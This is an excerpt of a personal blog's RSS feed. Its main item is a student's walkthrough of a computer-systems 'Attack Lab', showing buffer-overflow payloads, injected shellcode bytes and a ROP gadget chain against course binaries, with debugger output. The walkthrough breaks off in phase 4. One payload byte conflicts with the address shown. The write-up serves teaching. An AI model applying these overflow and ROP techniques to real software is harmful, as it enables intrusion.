<span class="p">&lt;</span><span class="nt">a-box</span> <span class="na">position</span><span class="o">=</span><span class="s">&#39;100 0.5 -180&#39;</span> <span class="na">material</span><span class="o">=</span><span class="s">&quot;shader:gif;src:url(https://media.tenor.com/images/412b1aa9149d98d561df62db221e0789/tenor.gif);opacity:.5&quot;</span> <span class="err">.....</span><span class="p">&gt;</span>
</code></pre>
</div>

<p><img src="/assets/posts/arjs/04-nyan.gif" alt="" /></p>

<h2 id="bonus-idea-integrate-it-with-githubs-new-profile-readme-feature">Bonus Idea: Integrate it with GitHub's new profile Readme Feature!</h2>

<h3 id="1-host-the-code-using-github-pages">1) Host the code using GitHub Pages</h3>

<h3 id="2-create-a-new-repository-the-name-should-be-your-github-username">2) Create a new repository ( the name should be your GitHub username )</h3>

<h3 id="3-add-qr-code-to-the-page-and-tell-the-users-to-scan-your-profile-picture">3) Add QR Code to the page and tell the users to scan your profile picture</h3>

<h3 id="profit">??) Profit 💸</h3>

<p>Here is a screenshot of me scanning a rounded version of my profile picture ( It still works! Even though the image is cropped and I haven't changed any line of code )</p>

<p><img src="/assets/posts/arjs/05-GitHub.jpg" alt="" /></p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html
			</guid>
			<title>
				A new method to blog
			</title>
			<description>
				Writing posts in markdown using pen and paper
			</description>
			<link>https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html</link>
			<pubDate>Mon, 07 Nov 2022 23:29:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="a-new-method-to-blog">A new method to blog</h1>

<p><em><a rel="noopener" target="_blank" href="/assets/pdfs/2022-11-07-a-new-way-to-blog.pdf">Here</a> is the original PDF. I made some edits to the content after generating the markdown file</em></p>

<p><a rel="noopener" target="_blank" href="https://paperwebsite.com">Paper Website</a> is a service that lets you build a website with just pen and paper. I am going to try and replicate the process.</p>

<h2 id="the-plan">The Plan</h2>

<p>The continuity feature on macOS + iOS lets you scan PDFs directly from your iPhone. I want to be able to scan these pages and automatically run an Automator script that takes the PDF and OCRs the text. Then I can further clean the text and convert from markdown.</p>

<h2 id="challenges">Challenges</h2>

<p>I quickly realised that the OCR software I planned on using could not detect my shitty handwriting accurately. I tried using ABBY Finereader, Prizmo and OCRMyPDF. (Abby Finereader and Prizmo support being automated by Automator).</p>

<p>Now, I could either write neater, or use an external API like Microsoft Azure</p>

<h2 id="solution">Solution</h2>

<h3 id="ocr">OCR</h3>

<p>In the PDFs, all the scans are saved as images on a page. I extract the image and then send it to Azure's API. </p>

<h3 id="paragraph-breaks">Paragraph Breaks</h3>

<p>The recognised text had multiple lines breaking in the middle of the sentence, Therefore, I use what is called a <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Pilcrow">pilcrow</a> to specify paragraph breaks. But, rather than trying to draw the normal pilcrow, I just use the HTML entity <code>&amp;#182;</code> which is the pilcrow character. </p>

<h2 id="where-is-the-code">Where is the code?</h2>

<p>I created a <a rel="noopener" target="_blank" href="https://gist.github.com/navanchauhan/5fc602b1e023b60a66bc63bd4eecd4f8">GitHub Gist</a> for a sample Python script to take the PDF and print the text </p>

<p>A more complete version with Auomator scripts and an entire publishing pipeline will be available as a GitHub and Gitea repo soon.</p>

<p><em>* In Part 2, I will discuss some more features *</em> </p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2023-10-05-attack-lab.html
			</guid>
			<title>
				Attack Lab
			</title>
			<description>
				Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems
			</description>
			<link>https://web.navan.dev/posts/2023-10-05-attack-lab.html</link>
			<pubDate>Thu, 05 Oct 2023 20:01:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="attack-lab">Attack Lab</h1>

<h2 id="introduction">Introduction</h2>

<p>Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems</p>

<blockquote>
  <p>This assignment involves generating a total of five attacks on two programs having different security vulnerabilities.  The directions for this lab are detailed but not difficult to follow.
  <cite> Attack Lab Handout </cite></p>
</blockquote>

<p>Again, I like using objdump to disassemble the code. </p>

<p><code>objdump -d ctarget &gt; dis.txt</code></p>

<h2 id="phase-1">Phase 1</h2>

<p>From the instructions, we know that our task is to get <code>CTARGET</code> to execute the code for <code>touch1</code> when <code>getbuf</code> executes its return statement, rather than returning to <code>test</code></p>

<p>Let us try to look into the <code>getbuf</code> from our disassembled code.</p>

<pre><code>0000000000402608 &lt;getbuf&gt;:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 &lt;Gets&gt;
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3  
</code></pre>

<pre><code>402608: 48 83 ec 18             sub    $0x18,%rsp
</code></pre>

<p>We can see that <code>0x18</code> (hex) or <code>24</code> (decimal) bytes of buffer is allocated to <code>getbuf</code> (Since, 24 bytes are being subtracted from the stack pointer).</p>

<p><strong>Buffer Overflow</strong>: A buffer overrun happens when the size of the data exceeds the memory size reserved for the buffer we are storing in our value.</p>

<p>Now, since we know the buffer size we can try passing the address of the touch1 function after we pad it up with the buffer size.</p>

<div class="codehilite">
<pre><span></span><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch1
000000000040261e<span class="w"> </span>&lt;touch1&gt;:
</code></pre>
</div>

<p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>python<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;import sys; print(sys.byteorder)&#39;</span>
little
</code></pre>
</div>

<p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p>

<pre><code>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 26 40 00 00 00 00 00
</code></pre>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span>&lt;<span class="w"> </span>ctarget.l1.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch1!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch1<span class="o">()</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">1</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>

<h2 id="phase-2">Phase 2</h2>

<blockquote>
  <p>Phase 2 involves injecting a small amount of code as part of your exploit string.
  <br><br>
  Within the file ctarget there is code for a function touch2 having the following C representation:
  <cite>Attack Lab Handout</cite></p>
</blockquote>

<div class="codehilite">
<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">touch2</span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">        </span><span class="n">vlevel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">cookie</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Touch2!: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span>
<span class="w">            </span><span class="n">validate</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="w">        </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Misfire: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span>
<span class="w">            </span><span class="n">fail</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre>
</div>

<blockquote>
  <p>Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, 
  however, you must make it appear to touch2 as if you have passed your cookie as its argument.
  <br><br>
  Recall that the first argument to a function is passed in register %rdi
  <cite>Attack Lab Handout</cite></p>
</blockquote>

<p>This hint tells us that we need to store the cookie in the rdi register</p>

<div class="codehilite">
<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x3e8dee8f</span><span class="p">,</span><span class="nv">%rdi</span><span class="w"> </span>
<span class="no">retq</span>
</code></pre>
</div>

<p>To get the byte representation, we need to compile the code and then disassemble it.</p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase2.s<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase2.o
phase2.s:<span class="w"> </span>Assembler<span class="w"> </span>messages:
phase2.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted

phase2.o:<span class="w">     </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64


Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text:

<span class="m">0000000000000000</span><span class="w"> </span>&lt;.text&gt;:
<span class="w">   </span><span class="m">0</span>:<span class="w">   </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span>8f<span class="w"> </span>ee<span class="w"> </span>8d<span class="w"> </span>3e<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x3e8dee8f,%rdi
<span class="w">   </span><span class="m">7</span>:<span class="w">   </span>c3<span class="w">                      </span>ret<span class="w">    </span>
</code></pre>
</div>

<p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p>

<p>We also need to figure out the address to the <code>%rsp</code> register. Again, looking at the <code>getbuf</code> code</p>

<pre><code>0000000000402608 &lt;getbuf&gt;:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 &lt;Gets&gt;
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3                      ret
</code></pre>

<p>We need to find the address of <code>%rsp</code> after calling <code>&lt;Gets&gt;</code> and sending a really long string.</p>

<p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gdb<span class="w"> </span>./ctarget
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span>&lt;http://gnu.org/licenses/gpl.html&gt;
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">&quot;show copying&quot;</span><span class="w"> </span>and<span class="w"> </span><span class="s2">&quot;show warranty&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">&quot;x86_64-linux-gnu&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;show configuration&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w">    </span>&lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">&quot;help&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;apropos word&quot;</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">&quot;word&quot;</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./ctarget...
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>b<span class="w"> </span>getbuf
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x402608:<span class="w"> </span>file<span class="w"> </span>buf.c,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>run
Starting<span class="w"> </span>program:<span class="w"> </span>/home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:12
<span class="m">12</span><span class="w">      </span>buf.c:<span class="w"> </span>No<span class="w"> </span>such<span class="w"> </span>file<span class="w"> </span>or<span class="w"> </span>directory.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>getbuf:
<span class="o">=</span>&gt;<span class="w"> </span>0x0000000000402608<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x000000000040260c<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>mov<span class="w">    </span>%rsp,%rdi
<span class="w">   </span>0x000000000040260f<span class="w"> </span>&lt;+7&gt;:<span class="w">     </span>call<span class="w">   </span>0x4028a9<span class="w"> </span>&lt;Gets&gt;
<span class="w">   </span>0x0000000000402614<span class="w"> </span>&lt;+12&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%eax
<span class="w">   </span>0x0000000000402619<span class="w"> </span>&lt;+17&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x000000000040261d<span class="w"> </span>&lt;+21&gt;:<span class="w">    </span>ret<span class="w">    </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">until</span><span class="w"> </span>*0x402614
Type<span class="w"> </span>string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470<span class="w"> </span>trq378t4378gwe
getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:15
<span class="m">15</span><span class="w">      </span><span class="k">in</span><span class="w"> </span>buf.c
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span><span class="nv">$rsp</span>
0x55621b40:<span class="w">     </span><span class="s2">&quot;fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe&quot;</span>
<span class="o">(</span>gdb<span class="o">)</span>
</code></pre>
</div>

<p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p>

<p>Thus, we can set our <code>ctarget.l2.txt</code> as:</p>

<pre><code>byte representation of ASM code
padding
address of %rsp
address of touch2 function
</code></pre>

<p>To get the address of <code>touch2</code> we can run:</p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2
000000000040264e<span class="w"> </span>&lt;touch2&gt;:
<span class="w">  </span><span class="m">402666</span>:<span class="w">       </span><span class="m">74</span><span class="w"> </span>2a<span class="w">                   </span>je<span class="w">     </span><span class="m">402692</span><span class="w"> </span>&lt;touch2+0x44&gt;
<span class="w">  </span>4026b2:<span class="w">       </span>eb<span class="w"> </span>d4<span class="w">                   </span>jmp<span class="w">    </span><span class="m">402688</span><span class="w"> </span>&lt;touch2+0x3a&gt;
</code></pre>
</div>

<pre><code>48 c7 c7 8f ee 8d 3e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
4e 26 b2 00 00 00 00 00
</code></pre>

<p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p>

<div class="codehilite">
<pre><span></span><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span>&lt;<span class="w"> </span>ctarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>

<h2 id="phase-3">Phase 3</h2>

<blockquote>
  <p>Phase 3 also involves a code injection attack, but passing a string as argument.
  <br><br>
  You will need to include a string representation of your cookie in your exploit string. The string should
  consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
  <br><br>
  Your injected code should set register %rdi to the address of this string
  <br><br>
  When functions hexmatch and strncmp are called, they push data onto the stack, overwriting
  portions of memory that held the buffer used by getbuf. As a result, you will need to be careful
  where you place the string representation of your cookie.
  <cite>Attack Lab Handout</cite></p>
</blockquote>

<p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p>

<p>The rationale is simple: by the time our payload is executed, we will be setting <code>%rdi</code> to point to the cookie. Placing the cookie after <code>touch3</code> function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.</p>

<p>=&gt; The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p>

<ul>
<li>Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the <code>touch3</code> function)</li>
<li>Touch 3 (8 bytes): The address of the <code>touch3</code> function is 8 bytes long.</li>
</ul>

<p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p>

<p>=&gt; <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p>

<p>Again, let us get the binary representation for the ASM code:</p>

<div class="codehilite">
<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x55621B68</span><span class="p">,</span><span class="w"> </span><span class="nv">%rdi</span>
<span class="nf">retq</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase3.s<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase3.o
phase3.s:<span class="w"> </span>Assembler<span class="w"> </span>messages:
phase3.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted

phase3.o:<span class="w">     </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64


Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text:

<span class="m">0000000000000000</span><span class="w"> </span>&lt;.text&gt;:
<span class="w">   </span><span class="m">0</span>:<span class="w">   </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span><span class="m">68</span><span class="w"> </span>1b<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">55</span><span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x55621b68,%rdi
<span class="w">   </span><span class="m">7</span>:<span class="w">   </span>c3<span class="w">                      </span>ret
</code></pre>
</div>

<p>Thus, our answer is going to be in the form:</p>

<pre><code>asm code
padding
return address / %rsp
touch3 address
cookie string
</code></pre>

<p>To quickly get the address for <code>touch3</code></p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch3
<span class="m">0000000000402763</span><span class="w"> </span>&lt;touch3&gt;:
<span class="w">  </span><span class="m">402781</span>:<span class="w">       </span><span class="m">74</span><span class="w"> </span>2d<span class="w">                   </span>je<span class="w">     </span>4027b0<span class="w"> </span>&lt;touch3+0x4d&gt;
<span class="w">  </span>4027d3:<span class="w">       </span>eb<span class="w"> </span>d1<span class="w">                   </span>jmp<span class="w">    </span>4027a6<span class="w"> </span>&lt;touch3+0x43&gt;
</code></pre>
</div>

<p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>3e8dee8f<span class="w"> </span><span class="p">|</span><span class="w"> </span>xxd<span class="w"> </span>-p
<span class="m">3365386465653866</span>
</code></pre>
</div>

<p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p>

<pre><code>48 c7 c7 68 1B 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
63 27 40 00 00 00 00 00
33 65 38 64 65 65 38 66
</code></pre>

<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span>&lt;<span class="w"> </span>ctarget.l3.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch3!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch3<span class="o">(</span><span class="s2">&quot;3e8dee8f&quot;</span><span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">3</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>

<p>Phases 1-3 Complete.</p>

<h2 id="phase-4">Phase 4</h2>

<blockquote>
  <p>For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your
  gadget farm. You can construct your solution using gadgets consisting of the following instruction types,
  and using only the first eight x86-64 registers (%rax–%rdi).
  * movq
  * popq
  * ret
  * nop
  <br><br>
  All the gadgets you need can be found in the region of the code for rtarget demarcated by the
  functions start<em>farm and mid</em>farm
  <br><br>
  You can do this attack with just two gadgets
  <br><br>
  When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit
  string will contain a combination of gadget addresses and data.
  <cite>Attack Lab Handout</cite></p>
</blockquote>

<blockquote>
  <p>What is ROP Attack?
  <br><br>
  is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions
  <cite>https://resources.infosecinstitute.com</cite></p>
</blockquote>

<p>Let us check if we can find <code>popq %rdi</code> between <code>start_farm</code> and <code>end_farm</code></p>

<p>The way a normal person would find the hex representation <code>58</code> to be between <code>start_farm</code> and <code>end_farm</code> is to find the line numbers for both and 
then search between those lines. But, what if you don't want to move away from the terminal?</p>

<p>Assuming, the disassembled code for <code>rtarget</code> is stored in <code>dis2.txt</code> (<code>objdump -d rtarget &gt; dis2.txt</code>)</p>

<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58"
16-000000000040281f &lt;getval_373&gt;:
17-  40281f:    f3 0f 1e fa             endbr64 
18:  402823:    b8 d3 f5 c2 58          mov    $0x58c2f5d3,%eax
19-  402828:    c3                      ret    
20-
--
26-0000000000402834 &lt;setval_212&gt;:
27-  402834:    f3 0f 1e fa             endbr64 
28:  402838:    c7 07 58 90 c3 92       movl   $0x92c39058,(%rdi)
29-  40283e:    c3                      ret    
30-
--
41-0000000000402854 &lt;setval_479&gt;:
42-  402854:    f3 0f 1e fa             endbr64 
43:  402858:    c7 07 58 c7 7f 61       movl   $0x617fc758,(%rdi)
44-  40285e:    c3                      ret    
45-
</code></pre>

<p>If we were to pick the first one as our gadget, the instruction address is <code>0x402823</code>, but to get to the instruction <code>58</code> we need to add 4 bytes:</p>

<p><code>=&gt; Gadget address = 0x402823 + 0x4 = 0x402827</code></p>

<p>The PDF already provides the next gadget we are supposed to look for <code>48 89 c7</code></p>

<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7"
11-0000000000402814 &lt;setval_253&gt;:
12-  402814:    f3 0f 1e fa             endbr64 
13:  402818:    c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
14-  40281e:    c3                      ret    
15-
--
31-000000000040283f &lt;getval_424&gt;:
32-  40283f:    f3 0f 1e fa             endbr64 
33:  402843:    b8 48 89 c7 c3          mov    $0xc3c78948,%eax
34-  402848:    c3                      ret    
35-
36-0000000000402849 &lt;setval_417&gt;:
37-  402849:    f3 0f 1e fa             endbr64 
38:  40284d:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
39-  402853:    c3                      ret    
40-
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ 
</code></pre>

<p>We cannot use the first match because it is followed by <code>0x94</code> instead of <code>c3</code>, either of the next two matches will work (<code>0x90</code> is <code>nop</code> and it does nothing but increment the program counter by 1)</p>

<p>Again, we have to account for the offset.</p>

<p>Taking <code>0x402843</code> we need to add just 1 byte. </p>

<p><code>=&gt; 0x402843 + 1 = 0x402844</code></p>

<p>Our answer for this file is going to be:</p>

<pre><code>padding
gadget1
cookie
gadget2
touch2
</code></pre>

<div class="codehilite">
